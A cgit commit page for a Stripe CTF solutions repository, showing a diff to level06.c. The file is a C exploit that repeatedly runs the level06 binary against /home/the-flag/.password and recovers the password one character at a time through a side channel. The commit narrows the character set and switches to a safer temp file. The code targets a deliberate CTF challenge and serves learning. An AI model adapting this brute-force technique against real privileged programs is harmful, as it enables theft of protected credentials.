aboutsummaryrefslogtreecommitdiffstats
diff options
context:
space:
mode:
authorJason A. Donenfeld <Jason@zx2c4.com>2012-02-26 19:20:28 +0100
committerJason A. Donenfeld <Jason@zx2c4.com>2012-02-26 19:20:28 +0100
commit771350c0b6e9921d32089a8c9f73930bb97a2834 (patch)
tree3f1a38ba693b023bdb9b8de8ee47247751f2b9e6
parentWhitespace. (diff)
downloadStripe-CTF-771350c0b6e9921d32089a8c9f73930bb97a2834.tar.xz
Stripe-CTF-771350c0b6e9921d32089a8c9f73930bb97a2834.zip
Restrict alphabet set. Use better temp file. Rename functions.
-rw-r--r--level06.c25
1 files changed, 14 insertions, 11 deletions
diff --git a/level06.c b/level06.c
index 65b9f62..4974981 100644
--- a/level06.c
+++ b/level06.c
@@ -7,7 +7,7 @@
#include <sys/stat.h>
#include <sys/wait.h>
-int teststr(const char *str)
+int testfragment(const char *str)
{
int out[2];
pipe2(out, O_NONBLOCK);
@@ -16,7 +16,6 @@ int teststr(const char *str)
int status;
close(out[1]);
wait(NULL);
- unlink("./tmp");
while (getpgid(getpid() + 2) == getpid())
usleep(100);
status = read(out[0], NULL, 1);
@@ -25,13 +24,15 @@ int teststr(const char *str)
} else {
int file;
- char buffer[1025];
struct rlimit limit;
+ char buffer[1025];
+ char filename[] = "/tmp/level06-XXXXXX";
dup2(out[1], 1);
close(out[0]);
- file = creat("./tmp", S_IWUSR | S_IRUSR);
+ file = mkstemp(filename);
+ unlink(filename);
fcntl(file, F_SETFL, fcntl(file, F_GETFL) & ~O_NONBLOCK);
dup2(file, 2);
@@ -43,7 +44,8 @@ int teststr(const char *str)
execl("/levels/level06", "level06", "/home/the-flag/.password", buffer, NULL);
}
}
-int checkfull(const char *str)
+
+int testfull(const char *str)
{
int out[2];
pipe(out);
@@ -63,20 +65,21 @@ int checkfull(const char *str)
}
}
-
+char allowed_chars[] = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJXLMNOPQRSTUVWXYZ01234567890";
int main(int argc, char *argv[])
{
char buffer[1024];
- int i;
+ int i, j, len;
char c;
memset(buffer, 0, 1024);
+ len = strlen(allowed_chars);
for (i = 0; i < 1024; ++i) {
- for (c = 32; c < 126; ++c) {
- buffer[i] = c;
+ for (j = 0; j < len; ++j) {
+ buffer[i] = allowed_chars[j];
printf("\r\033[2K%s", buffer);
fflush(stdout);
- if (teststr(buffer)) {
- if (checkfull(buffer)) {
+ if (testfragment(buffer)) {
+ if (testfull(buffer)) {
printf("\n");
return 0;
}